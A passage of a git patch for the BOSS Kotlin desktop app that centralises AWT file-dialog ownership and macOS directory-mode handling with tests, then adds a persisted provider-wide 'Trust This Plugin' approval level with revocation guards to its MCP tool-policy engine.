(result == JFileChooser.APPROVE_OPTION) { - onResult(chooser.selectedFile?.absolutePath) + deliver(chooser.selectedFile?.absolutePath) } else { - onResult(null) + deliver(null) } } } catch (e: Exception) { - logger.warn(LogCategory.SYSTEM, "Save file picker failed", error = e) - onResult(null) + logger.error( + LogCategory.SYSTEM, + "Save file picker failed; the plugin will see this as a user cancel", + error = e, + ) + deliver(null) } } } diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/NativeFileDialogs.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/NativeFileDialogs.kt index fb6021ba6f..df842daa72 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/NativeFileDialogs.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/NativeFileDialogs.kt @@ -12,7 +12,6 @@ import com.teamdev.jxbrowser.callback.Advisable import java.awt.Dialog import java.awt.FileDialog import java.awt.Frame -import java.awt.KeyboardFocusManager import java.io.File import java.nio.file.Path import java.util.concurrent.atomic.AtomicBoolean @@ -243,11 +242,6 @@ object NativeFileDialogs { private const val PDF = "pdf" -/** - * Asks `NSOpenPanel` for a directory rather than a file. Process-wide; see [showModal]. - */ -private const val MAC_DIRECTORY_MODE = "apple.awt.fileDialogForDirectories" - private fun showOpen( suggestedDirectory: String, extensions: List, @@ -305,58 +299,13 @@ private fun newDialog( title: String, mode: Int, suggestedDirectory: String, -): FileDialog { - val dialog = - when (val active = KeyboardFocusManager.getCurrentKeyboardFocusManager().activeWindow) { - is Frame -> FileDialog(active, title, mode) - is Dialog -> FileDialog(active, title, mode) - else -> FileDialog(null as Frame?, title, mode) - } - return dialog.apply { - isAlwaysOnTop = true +): FileDialog = + ownedFileDialog(title, mode).apply { val suggested = File(suggestedDirectory) if (suggestedDirectory.isNotBlank() && suggested.isDirectory) { directory = suggested.absolutePath } } -} - -/** - * Show the panel, then always give the native peer back. - * - * [MAC_DIRECTORY_MODE] is process-wide and read by the peer when the panel is created, and a - * modal `FileDialog` runs a **nested event loop** on the EDT that keeps dispatching other - * `invokeLater` blocks - so a second dialog really can be created inside this one's loop. - * Every dialog here states its own mode immediately before showing and the restore unwinds in - * reverse order; the property is cleared rather than written back as `"false"`, so an absent - * property stays absent. - * - * **That invariant is one-directional.** It holds for these dialogs nested inside anything, - * because they state their own mode. It does *not* hold in reverse: `DesktopFilePicker`, - * `FilePickerProviderFactory` and `SettingsComponents` each create a `LOAD` dialog without - * touching the flag, so one of those opened inside [showOpenFolder]'s nested loop would come - * up as a directory chooser. Narrow in practice, since the panel is app-modal and it therefore - * takes a non-UI-driven caller such as a plugin invoking `openFile` off a background thread. - * The durable fix is to route every `FileDialog` in the tree through this helper, which is a - * wider change than this one. `SAVE` dialogs are immune either way: the flag only affects - * `NSOpenPanel`. - */ -private fun FileDialog.showModal(directories: Boolean) { - val previous = System.getProperty(MAC_DIRECTORY_MODE) - System.setProperty(MAC_DIRECTORY_MODE, directories.toString()) - try { - isVisible = true - } finally { - if (previous == null) { - System.clearProperty(MAC_DIRECTORY_MODE) - } else { - System.setProperty(MAC_DIRECTORY_MODE, previous) - } - // These are user-driven and repeatable, so the native peer is not left to - // finalization the way the one-shot pickers elsewhere leave theirs. - dispose() - } -} /** * Narrow the panel to [extensions], unless the page said any file will do. diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/OwnedFileDialog.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/OwnedFileDialog.kt new file mode 100644 index 0000000000..c9e934626a --- /dev/null +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/OwnedFileDialog.kt @@ -0,0 +1,94 @@ +package ai.rever.boss.plugin.browser + +import java.awt.Dialog +import java.awt.FileDialog +import java.awt.Frame +import java.awt.KeyboardFocusManager +import java.awt.Window + +/** + * The one place an AWT file panel is created, so every caller gets an owner and the right mode. + * + * Two things go wrong with `FileDialog(null as Frame?, ...)`, and they are different failures: + * + * **No owner.** The panel has no window to be modal to and no window to come forward over, so it + * can open behind the Compose window. The click that opened it then looks like it did nothing. + * Taking the owner from the focus manager rather than from a stored reference matters, because the + * active window is a `Dialog` whenever a BOSS modal is up, which is the case the null owner + * misbehaves in most. + * + * **The directory flag is process-wide.** `apple.awt.fileDialogForDirectories` is read by the + * native peer when the panel is created, and a modal `FileDialog` runs a nested event loop on the + * EDT that keeps dispatching other `invokeLater` blocks. So a file panel really can be created + * inside a folder panel's loop, and if it does not state its own mode it comes up as a directory + * chooser. [showModal] states the mode immediately before showing and unwinds in reverse, clearing + * the property when it was absent rather than writing "false" back. + * + * `NativeFileDialogs` already did both of these for the browser's own panels, and recorded that + * every other `FileDialog` in the tree should be routed through the same helper. This is that + * helper, extracted so there is one copy rather than a comment asking for one. + */ +internal fun ownedFileDialog( + title: String, + mode: Int, +): FileDialog { + val dialog = + when (val active = activeDialogOwner()) { + is Frame -> FileDialog(active, title, mode) + is Dialog -> FileDialog(active, title, mode) + else -> FileDialog(null as Frame?, title, mode) + } + return dialog.apply { isAlwaysOnTop = true } +} + +/** + * The window a native panel should belong to, or null when nothing is focused. + * + * Also usable as a Swing parent `Component`, which is what `JFileChooser` wants on the platforms + * that do not use `FileDialog`. + */ +internal fun activeDialogOwner(): Window? = KeyboardFocusManager.getCurrentKeyboardFocusManager().activeWindow + +/** + * Show the panel with [MAC_DIRECTORY_MODE] stated, then always give the native peer back. + * + * The property is process-wide and read at creation time, so stating it here rather than trusting + * the ambient value is what stops a panel nested inside another one inheriting the wrong mode. The + * restore unwinds in reverse order, and an absent property is cleared rather than set to "false", + * so an absent property stays absent. + */ +internal fun FileDialog.showModal(directories: Boolean) { + try { + withDirectoryMode(directories) { isVisible = true } + } finally { + dispose() + } +} + +/** + * Run [body] with [MAC_DIRECTORY_MODE] set, restoring exactly what was there before. + * + * Separate from [showModal] because showing a panel needs a display and this does not, so the part + * that is easy to get wrong is the part a test can reach. Three things it has to get right, each of + * which has a test: an absent property is CLEARED rather than written back as "false", so absent + * stays absent; a present one is restored verbatim; and nesting unwinds in reverse, which is the + * case that exists at all only because a modal panel keeps dispatching on the EDT. + */ +internal fun withDirectoryMode( + directories: Boolean, + body: () -> T, +): T { + val previous = System.getProperty(MAC_DIRECTORY_MODE) + System.setProperty(MAC_DIRECTORY_MODE, directories.toString()) + return try { + body() + } finally { + if (previous == null) { + System.clearProperty(MAC_DIRECTORY_MODE) + } else { + System.setProperty(MAC_DIRECTORY_MODE, previous) + } + } +} + +internal const val MAC_DIRECTORY_MODE = "apple.awt.fileDialogForDirectories" diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/plugin/providers/FilePickerDeliveryTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/plugin/providers/FilePickerDeliveryTest.kt new file mode 100644 index 0000000000..4003aac32a --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/plugin/providers/FilePickerDeliveryTest.kt @@ -0,0 +1,135 @@ +package ai.rever.boss.components.plugin.providers + +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFailsWith +import kotlin.test.assertFalse +import kotlin.test.assertTrue + +/** + * The two rules the picker's result channel and its filters have to keep. + * + * Both were handed back on #552 as shared-provider defects rather than as consequences of the + * ownership fix, and both are invisible from the dialog itself: one produces a second answer to a + * question asked once, the other produces a panel that lists nothing and reads as "no matching + * files here". + * + * `onResult` and the filter rule are exercised through the pure helpers rather than through + * `DesktopFilePickerProvider`, which opens a real AWT panel and blocks on the EDT. The provider + * calls exactly these, so a revert at the call site shows up as a compile error rather than as a + * silently unexercised test. + */ +class FilePickerDeliveryTest { + // ------------------------------------------------------------------ + // Exactly one answer per pick. + // ------------------------------------------------------------------ + + @Test + fun `a successful selection is delivered once`() { + val seen = mutableListOf() + val deliver = deliverOnce { seen.add(it) } + + deliver("/home/u/report.csv") + + assertEquals(listOf("/home/u/report.csv"), seen) + } + + @Test + fun `a throwing plugin callback does not get a second answer`() { + // The defect: onResult was called inside the try that catches picker failures, so a plugin + // whose callback threw received its path and then a null, which is what a cancel looks + // like. One pick, two answers, and the second one wrong. + var calls = 0 + val deliver = + deliverOnce { + calls++ + error("the plugin's callback blew up") + } + + assertFailsWith { deliver("/home/u/report.csv") } + // What the catch block then does. It must not reach the plugin again. + deliver(null) + + assertEquals(1, calls, "the plugin must see exactly one result for one pick") + } + + @Test + fun `a picker failure before any delivery still reports the cancel`() { + // The other side of the same rule: when the picker itself throws, nothing has been + // delivered yet, so the catch's null is the plugin's only answer and must arrive. + val seen = mutableListOf() + val deliver = deliverOnce { seen.add(it) } + + deliver(null) + + assertEquals(listOf(null), seen) + } + + @Test + fun `only the first of several answers survives`() { + val seen = mutableListOf() + val deliver = deliverOnce { seen.add(it) } + + deliver("/first") + deliver("/second") + deliver(null) + + assertEquals(listOf("/first"), seen) + } + + // ------------------------------------------------------------------ + // Filters mean the same thing however the caller spelled them. + // ------------------------------------------------------------------ + + @Test + fun `a leading dot is accepted and does not survive`() { + // `.csv` used to be matched as `..csv`, so the filter hid every valid choice instead of + // narrowing to them. + assertEquals(listOf("csv"), normalizedExtensions(listOf(".csv"))) + assertEquals(listOf("csv"), normalizedExtensions(listOf("csv"))) + assertEquals(listOf("csv", "tsv"), normalizedExtensions(listOf(".csv", "tsv"))) + } + + @Test + fun `surrounding whitespace and blank entries are dropped`() { + assertEquals(listOf("csv"), normalizedExtensions(listOf(" .csv "))) + assertEquals(emptyList(), normalizedExtensions(listOf("", " ", "."))) + } + + @Test + fun `no filter and an empty filter are the same thing`() { + assertEquals(emptyList(), normalizedExtensions(null)) + assertEquals(emptyList(), normalizedExtensions(emptyList())) + } + + @Test + fun `both spellings select the same files`() { + val bare = normalizedExtensions(listOf("csv")) + val dotted = normalizedExtensions(listOf(".csv")) + + assertTrue(matchesAnyExtension("report.csv", bare)) + assertTrue(matchesAnyExtension("report.csv", dotted)) + assertFalse(matchesAnyExtension("report.txt", dotted)) + } + + @Test + fun `extension matching ignores case on both sides`() { + val exts = normalizedExtensions(listOf(".CSV")) + + assertTrue(matchesAnyExtension("report.csv", exts)) + assertTrue(matchesAnyExtension("REPORT.CSV", exts)) + } + + @Test + fun `an empty filter list accepts everything rather than nothing`() { + // The callers only install a filter when there is one, so this keeps the helper and the + // call sites in step if that ever changes: a filter matching nothing would empty the panel. + assertTrue(matchesAnyExtension("anything.at.all", emptyList())) + } + + @Test + fun `a bare name without an extension does not match a filter`() { + assertFalse(matchesAnyExtension("Makefile", normalizedExtensions(listOf("csv")))) + assertFalse(matchesAnyExtension("csv", normalizedExtensions(listOf("csv")))) + } +} diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/OwnedFileDialogTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/OwnedFileDialogTest.kt new file mode 100644 index 0000000000..9117941c96 --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/OwnedFileDialogTest.kt @@ -0,0 +1,128 @@ +package ai.rever.boss.plugin.browser + +import kotlin.test.AfterTest +import kotlin.test.BeforeTest +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFailsWith +import kotlin.test.assertNull +import kotlin.test.assertTrue + +/** + * The directory-mode discipline every AWT file panel in the app now shares. + * + * `apple.awt.fileDialogForDirectories` is a PROCESS-WIDE system property read by the native peer + * when a panel is created, and a modal panel runs a nested event loop on the EDT that keeps + * dispatching other `invokeLater` blocks. So one panel really can be created inside another's loop, + * and a panel that does not state its own mode inherits whatever the outer one left. That is not + * hypothetical: `FilePickerProviderFactory` did not state its mode, so a plugin's file pick opened + * while the browser's folder panel was up came up as a directory chooser. + * + * Showing a panel needs a display. The property discipline does not, so it is extracted and tested + * here; the owner-window selection and the panel itself are not covered and cannot be from a + * headless test. + */ +class OwnedFileDialogTest { + private var original: String? = null + + @BeforeTest + fun capture() { + original = System.getProperty(MAC_DIRECTORY_MODE) + System.clearProperty(MAC_DIRECTORY_MODE) + } + + @AfterTest + fun restore() { + val value = original + if (value == null) { + System.clearProperty(MAC_DIRECTORY_MODE) + } else { + System.setProperty(MAC_DIRECTORY_MODE, value) + } + } + + @Test + fun `the body sees the mode it asked for`() { + withDirectoryMode(directories = true) { + assertEquals("true", System.getProperty(MAC_DIRECTORY_MODE)) + } + withDirectoryMode(directories = false) { + assertEquals("false", System.getProperty(MAC_DIRECTORY_MODE)) + } + } + + @Test + fun `an absent property is cleared afterwards, not written back as false`() { + // Writing "false" back would leave the property SET for every later panel that reads the + // ambient value, which is a different state from the one this process started in. + withDirectoryMode(directories = true) { } + + assertNull( + System.getProperty(MAC_DIRECTORY_MODE), + "an absent property must stay absent", + ) + } + + @Test + fun `a property that was present is restored verbatim`() { + System.setProperty(MAC_DIRECTORY_MODE, "true") + + withDirectoryMode(directories = false) { + assertEquals("false", System.getProperty(MAC_DIRECTORY_MODE)) + } + + assertEquals("true", System.getProperty(MAC_DIRECTORY_MODE)) + } + + @Test + fun `nesting unwinds in reverse, which is the case the EDT loop creates`() { + // A folder panel is up (true). A plugin's file pick is dispatched inside its nested loop + // and must see false, then hand the folder panel its own mode back. + withDirectoryMode(directories = true) { + assertEquals("true", System.getProperty(MAC_DIRECTORY_MODE)) + withDirectoryMode(directories = false) { + assertEquals("false", System.getProperty(MAC_DIRECTORY_MODE)) + } + assertEquals( + "true", + System.getProperty(MAC_DIRECTORY_MODE), + "the outer folder panel lost its mode to the inner file panel", + ) + } + assertNull(System.getProperty(MAC_DIRECTORY_MODE)) + } + + @Test + fun `a throwing body still restores the property`() { + System.setProperty(MAC_DIRECTORY_MODE, "true") + + assertFailsWith { + withDirectoryMode(directories = false) { error("panel blew up") } + } + + assertEquals("true", System.getProperty(MAC_DIRECTORY_MODE)) + } + + @Test + fun `fixture teardown preserves a property present before setup`() { + System.setProperty(MAC_DIRECTORY_MODE, "true") + val fixture = OwnedFileDialogTest() + fixture.capture() + fixture.restore() + assertEquals("true", System.getProperty(MAC_DIRECTORY_MODE)) + } + + @Test + fun `the body's value is returned`() { + assertEquals(7, withDirectoryMode(directories = false) { 7 }) + } + + @Test + fun `asking for the owner window never throws, even with nothing focused`() { + // Called on every pick. In a headless or unfocused process the answer is simply null, and + // the callers fall back to an ownerless panel rather than failing the pick. + val owner = runCatching { activeDialogOwner() } + + assertTrue(owner.isSuccess, "activeDialogOwner threw: ${owner.exceptionOrNull()}") + } +} From 13d154a166494d92854b0b53108415c21b6760e9 Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 09:41:11 +0530 Subject: [PATCH 08/28] feat(mcp): trust a whole plugin's tools at once, not one at a time (#542) * feat(mcp): trust a whole plugin's tools at once, not one at a time Adds a "Trust This Plugin" option to the MCP tool approval dialog - a persisted, provider-wide ALLOW covering every tool a plugin contributes, not just the one call being approved. Answers the actual friction: a plugin with several mutating tools currently means approving each one individually, in the same session, one at a time. McpToolPolicyConfig gains a second rule map, providerRules, keyed by providerId rather than tool name. policyFor(toolName, providerId) now resolves both, with DENY - at either level - always winning first and unconditionally: a provider-wide DENY is not "most specific wins" and must not be overridable by a narrower per-tool ALLOW, the same posture DENY already has against session trust everywhere else in this engine. Below that: session trust, then an explicit tool-specific rule (ALLOW or ASK), then the provider's own ALLOW, then the risk-based default. providerId is an optional parameter so an existing caller that only ever checked a tool name keeps compiling. setToolPolicy, the new setProviderPolicy and revokeProviderPolicy now share one persistAndPublish helper for the persist-and-fault-report shape, so a future change to how a write failure is logged or reported cannot update one path and silently miss the others - the mistake a similar policy engine made once already by not sharing this logic. revokeProviderPolicy removes the key rather than rewriting it to some neutral value, for the same reason. McpApprovalDecision.Approved gains a trustProvider flag alongside the existing trustForSession one. Persisting it is a synchronous disk write, so it runs under withContext(Dispatchers.IO) rather than on whatever dispatcher delivered the MCP call - and a failed persist doesn't block the call the operator already approved past; it falls back to session trust for that one tool instead; a new PROVIDER_TRUST_PERSIST_FAILED ledger disposition records that the durable grant did not save. The new button sits in its own row below the main actions, not next to "Approve Once" - it is the broadest grant this dialog can make, so it should take a deliberate reach rather than risk a fast click landing on it by mistake. A caption names the scope. Revocation is a new McpProviderTrustDialog (list + per-row revoke, mirroring the shape an equivalent per-tool dialog would need) reachable from a "Trusted plugins (n)" button in the bottom bar, next to the existing session- trust revoke button - only shown once a provider is actually trusted. Test plan: McpProviderPolicyTest pins policyFor's full precedence table (provider ALLOW/DENY against tool rules, session trust, the policy-unreadable fault) and persistence (round-trips through a real file; revoke removes the key, survives reload; revoking one provider leaves another's trust untouched). McpGovernedInvocationTest adds two integration cases through the real registry: approving one tool with trustProvider lets a sibling tool from the same provider through with no second prompt and no session-trust call, and revoking provider trust makes its tools ask again. No Compose-level test for the dialogs themselves - no test infrastructure exists yet for this UI layer on this branch (no ScrimmedModalSemanticsTest-style harness), noted here rather than left unstated. Verified: full :composeApp:allTests passes except the two pre-existing, environment-specific Windows symlink-privilege failures already known from earlier this week (DesktopFileScannerTest, DiscardDownloadContainmentTest). ktlintCheck/detekt clean. * test(mcp): pin the provider-trust persist-failure fallback A failed provider-wide persist must still run the already-approved call, record PROVIDER_TRUST_PERSIST_FAILED, session-trust only that one tool, and leave the provider's other tools asking. Mirrors the blocked-write setup the per-tool failure case in McpPersistentApprovalTest uses. Agent-side regression coverage added during sweep BOSS_SWEEP_20260911_mcp-policy; not part of the author's submission. * fix(mcp): guard provider-wide trust writes against a stale approval dialog trustProvider ("Trust This Plugin") called setProviderPolicy directly, with none of the revocation/DENY/availability guards validateApproval already applies before setToolPolicy's persisted write. A revoke or DENY landing while the dialog was open (e.g. an operator resetting the tool from "Persisted MCP policies") could be silently overwritten: the call in hand was correctly withheld, but the provider-wide ALLOW still persisted, leaving every other tool that provider contributes AUTO_ALLOWED from an authorization the reset was supposed to invalidate. setProviderPolicy now takes the same preserveDeny/expectedRevocation guards setToolPolicy has, checked under the same lock, plus an optional toolName since the revocation check is inherently per-tool. The trustProvider branch in approvedAuthorization pre-checks isAvailable/revocationVersion/policyFor before writing (mirroring validateApproval exactly) and, on a false return, disambiguates a guard refusal (POLICY_DENIED, call does not run) from a genuine disk failure (PROVIDER_TRUST_PERSIST_FAILED, call still runs - the existing, deliberate fallback for that case). New regression test in McpGovernedInvocationTest reproduces the review's exact scenario (a revokePersistedPolicy landing while a prompt is open) and confirms it fails without the fix. AGENTS.md's governed-MCP section now documents provider-wide trust as its own scope, including the deliberate asymmetry between a stale-dialog refusal and a disk-failure fallback. * fix(mcp): invalidate queued grants when provider trust is reset * fix(mcp): clear code-quality on the provider-scoped-policy branch detekt flagged setProviderPolicy's preserveDeny guard as ComplexCondition (4 boolean/comparison operators inline) and a 121-char assertEquals in McpProviderRevocationTest as MaxLineLength (over detekt's default 120, though under ktlint's wider 140-char .editorconfig limit). Extract the DENY check into isProviderOrToolDenied() - same behavior, named and testable on its own - and wrap the long assertEquals. No behavior change. --------- Co-authored-by: Shivang --- AGENTS.md | 15 + .../ai/rever/boss/app/BossAppDialogs.kt | 11 +- .../bars/horizontal/BossBottomBar.kt | 41 +++ .../components/dialogs/McpApprovalDialog.kt | 42 ++- .../dialogs/McpProviderTrustDialog.kt | 159 ++++++++++ .../ai/rever/boss/mcp/McpApprovalBus.kt | 18 +- .../kotlin/ai/rever/boss/mcp/McpPolicy.kt | 21 ++ .../ai/rever/boss/mcp/McpPolicyEngine.kt | 199 +++++++++++-- .../ai/rever/boss/mcp/McpToolRegistryImpl.kt | 89 +++++- .../boss/mcp/McpGovernedInvocationTest.kt | 274 ++++++++++++++++++ .../rever/boss/mcp/McpProviderPolicyTest.kt | 163 +++++++++++ .../boss/mcp/McpProviderRevocationTest.kt | 112 +++++++ 12 files changed, 1093 insertions(+), 51 deletions(-) create mode 100644 composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/McpProviderTrustDialog.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpProviderPolicyTest.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpProviderRevocationTest.kt diff --git a/AGENTS.md b/AGENTS.md index eeb48c5612..be0adac1fd 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1179,6 +1179,21 @@ POLICY_PERSIST_FAILED and withhold the current execution. A queued approval cann replace a newer DENY or reset: each reset invalidates older authorizations before their final approval boundary, including queued once/session/persistent grants. Calls already authorized to execute are not cancelled. Reset remains host UI only, not an MCP tool. +“Trust This Plugin” persists a provider-wide ALLOW covering every tool that provider +contributes - weaker than an explicit tool-specific rule, reviewed and reset from +“Trusted plugins” in the bottom bar rather than “Persisted MCP policies”. The same +reset-invalidates-queued-grants guarantee applies to it: the write rechecks the +prompting tool's and provider's revocation state, plus DENY, under the policy lock, so a reset landing +while the dialog is open refuses the write and withholds that call instead of persisting +a grant the reset was meant to invalidate. Unlike the per-tool path, a provider-wide +write that fails for a genuine disk error (not a stale-dialog refusal) still runs the +already-approved call, falling back to session trust for that one tool only - a +deliberate asymmetry, since the operator already approved the call in hand and a disk +fault should not retroactively withhold it. +Provider trust also covers tools added by later versions and replacement plugins claiming +that provider id. Already queued sibling prompts still ask. Explicit tool ASK rules +still override provider ALLOW. The Trusted plugins UI lists ALLOW rules only; hand-edited +provider DENY rules currently require policy-file editing to remove. Preserve a backup before manual recovery of a damaged policy; the fault flow withholds all tools until recovery. No automatic quarantine UI is provided. Ledger redaction is bounded and best effort, not a guarantee for secrets diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt index 20c521c383..0d8a419390 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt @@ -836,8 +836,13 @@ internal fun BossAppDialogs(state: BossAppState) { McpApprovalDialog( request = approvalRequest, pendingQueueSize = pendingList.size, - onApprove = { trustForSession, persistPolicy -> - McpToolRegistryImpl.approvalBus.approve(approvalRequest.id, trustForSession, persistPolicy) + onApprove = { trustForSession, persistPolicy, trustProvider -> + McpToolRegistryImpl.approvalBus.approve( + approvalRequest.id, + trustForSession, + persistPolicy, + trustProvider, + ) }, onDeny = { reason, persistPolicy -> McpToolRegistryImpl.approvalBus.deny(approvalRequest.id, reason, persistPolicy) @@ -961,7 +966,7 @@ internal fun BossAppDialogs(state: BossAppState) { state.currentDefaultPlugin?.pluginToastState?.show( ToastMessage( type = ToastType.SUCCESS, - // Neutral for a plan, because an element that became present between +// Neutral for a plan, because an element that became present between // consent and install is a no-op success and "Plugins" would overstate. title = if (plan.order.size > 1) "Install complete" else "Plugin installed", message = diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/bars/horizontal/BossBottomBar.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/bars/horizontal/BossBottomBar.kt index d559d291e8..99b151f677 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/bars/horizontal/BossBottomBar.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/bars/horizontal/BossBottomBar.kt @@ -6,6 +6,7 @@ import ai.rever.boss.components.bars.horizontalScrollWithScrollbar import ai.rever.boss.components.bars.rememberBarContextMenuItems import ai.rever.boss.components.buttons.BossActionButton import ai.rever.boss.components.dialogs.McpPolicyManagerDialog +import ai.rever.boss.components.dialogs.McpProviderTrustDialog import ai.rever.boss.components.events.PanelEventBus import ai.rever.boss.components.overlays.contextMenu import ai.rever.boss.components.plugin.registries.StatusBarRegistryImpl @@ -13,6 +14,8 @@ import ai.rever.boss.components.plugin.registries.owningPluginId import ai.rever.boss.components.plugin.tab_types.fluck.FluckTabInfo import ai.rever.boss.components.window_panel.components.main_window_panels.BossTabsComponent import ai.rever.boss.layout.BossChrome +import ai.rever.boss.mcp.McpPolicyAction +import ai.rever.boss.mcp.McpToolPolicyConfig import ai.rever.boss.mcp.McpToolRegistryImpl import ai.rever.boss.performance.PerformanceState import ai.rever.boss.plugin.api.PanelId @@ -265,6 +268,11 @@ fun BossRightBottomBar() { ) } + // "Trust This Plugin" grants from the approval dialog - a persisted, provider-wide ALLOW, + // listed and revoked individually (see the controls below) from the same config the + // persisted-policy manager above reads. + McpProviderTrustControls(persistedPolicyConfig) + val policyFault by McpToolRegistryImpl.policyFault.collectAsState() policyFault?.let { fault -> Text( @@ -349,3 +357,36 @@ fun BossRightBottomBar() { }, ) } + +/** + * The "Trusted plugins" control for the provider-wide ALLOWs ("Trust This Plugin") granted + * from the approval dialog. + * + * Behind a button that only appears once a rule exists, same as session trust in + * [BossRightBottomBar]; unlike session trust this is a list-and-revoke-individually dialog + * rather than a single clear-all, since these are durable grants an operator made + * deliberately, potentially several at once. + */ +@Composable +private fun McpProviderTrustControls(config: McpToolPolicyConfig) { + var showTrustedPluginsDialog by remember { mutableStateOf(false) } + val trustedProviderCount = config.providerRules.count { it.value == McpPolicyAction.ALLOW } + if (trustedProviderCount > 0) { + androidx.compose.material.TextButton(onClick = { showTrustedPluginsDialog = true }) { + Text("Trusted plugins ($trustedProviderCount)", color = BossTheme.colors.textSecondary) + } + } + if (showTrustedPluginsDialog) { + McpProviderTrustDialog( + providerRules = config.providerRules, + // Dispatchers.IO: revokeProviderPolicy performs the same synchronized atomicWriteText + // disk write as revokePersistedPolicy, off the UI thread for the same reason. + onRevoke = { providerId -> + withContext(Dispatchers.IO) { + McpToolRegistryImpl.policyEngine.revokeProviderPolicy(providerId) + } + }, + onDismiss = { showTrustedPluginsDialog = false }, + ) + } +} diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/McpApprovalDialog.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/McpApprovalDialog.kt index ccb1592c3a..382ec1c7b0 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/McpApprovalDialog.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/McpApprovalDialog.kt @@ -49,19 +49,25 @@ import androidx.compose.ui.window.DialogProperties * Interactive dialog prompted when an AI agent attempts to execute a tool * governed by an ASK policy. * - * Four scopes an operator can choose, in increasing durability: approve or deny just this one +* Four scopes an operator can choose, in increasing durability: approve or deny just this one * call, trust it for the rest of this session only, or persist a rule to * `~/.boss/mcp-tool-policy.json` so the same tool never asks again - across restarts, not just * this run. The engine behind the persisted scope ([ai.rever.boss.mcp.McpPolicyEngine * .setToolPolicy]) already existed and was already tested; this dialog was the only thing * standing between it and an operator who wanted to use it without hand-editing that file. + * + * "Trust This Plugin" persists an ALLOW for every tool [McpApprovalRequest.providerId] + * contributes, not just this one call or this one tool - the answer to a plugin whose tools get + * approved one at a time in the same session. It is weaker than an explicit per-tool rule (see + * [ai.rever.boss.mcp.McpPolicyEngine.policyFor]), and revocable from "Trusted plugins" in the + * bottom bar. */ @Composable @Suppress("LongMethod") // Declarative Compose layout. fun McpApprovalDialog( request: McpApprovalRequest, pendingQueueSize: Int = 1, - onApprove: (trustForSession: Boolean, persistPolicy: Boolean) -> Unit, + onApprove: (trustForSession: Boolean, persistPolicy: Boolean, trustProvider: Boolean) -> Unit, onDeny: (reason: String, persistPolicy: Boolean) -> Unit, ) { val colors = BossTheme.colors @@ -211,6 +217,32 @@ fun McpApprovalDialog( ) } + // Provider-wide trust: a separate, visually secondary row, not another button in + // the main action row - it is the broadest grant this dialog can make (every + // tool the plugin contributes, not just this one, and persisted across restarts), + // so it should take a deliberate reach rather than sit next to "Approve Once" + // where a fast click could land on it by mistake. + Spacer(modifier = Modifier.height(10.dp)) + Row( + modifier = Modifier.fillMaxWidth(), + horizontalArrangement = Arrangement.End, + verticalAlignment = Alignment.CenterVertically, + ) { + Text( + text = "Trusts every tool from \"${request.providerId}\", across restarts.", + fontSize = 10.sp, + color = colors.textSecondary, + modifier = Modifier.weight(1f), + ) + Spacer(modifier = Modifier.width(8.dp)) + TextButton( + onClick = { onApprove(false, false, true) }, + colors = ButtonDefaults.textButtonColors(contentColor = colors.warn), + ) { + Text("Trust This Plugin", fontSize = 11.sp) + } + } + if (showReasonInput) { Spacer(modifier = Modifier.height(12.dp)) OutlinedTextField( @@ -260,7 +292,7 @@ fun McpApprovalDialog( Spacer(modifier = Modifier.width(8.dp)) TextButton( - onClick = { onApprove(false, true) }, + onClick = { onApprove(false, true, false) }, colors = ButtonDefaults.textButtonColors(contentColor = colors.warn), ) { Text("Always Allow", fontSize = 11.sp) @@ -298,7 +330,7 @@ fun McpApprovalDialog( Spacer(modifier = Modifier.width(8.dp)) OutlinedButton( - onClick = { onApprove(true, false) }, + onClick = { onApprove(true, false, false) }, border = ButtonDefaults.outlinedBorder, colors = ButtonDefaults.outlinedButtonColors(contentColor = colors.textPrimary), ) { @@ -308,7 +340,7 @@ fun McpApprovalDialog( Spacer(modifier = Modifier.width(8.dp)) Button( - onClick = { onApprove(false, false) }, + onClick = { onApprove(false, false, false) }, colors = ButtonDefaults.buttonColors(backgroundColor = colors.signal), ) { Text("Approve Once", color = colors.onSignal, fontSize = 12.sp) diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/McpProviderTrustDialog.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/McpProviderTrustDialog.kt new file mode 100644 index 0000000000..1986de641b --- /dev/null +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/McpProviderTrustDialog.kt @@ -0,0 +1,159 @@ +package ai.rever.boss.components.dialogs + +import ai.rever.boss.mcp.McpPolicyAction +import ai.rever.boss.plugin.ui.BossDialog 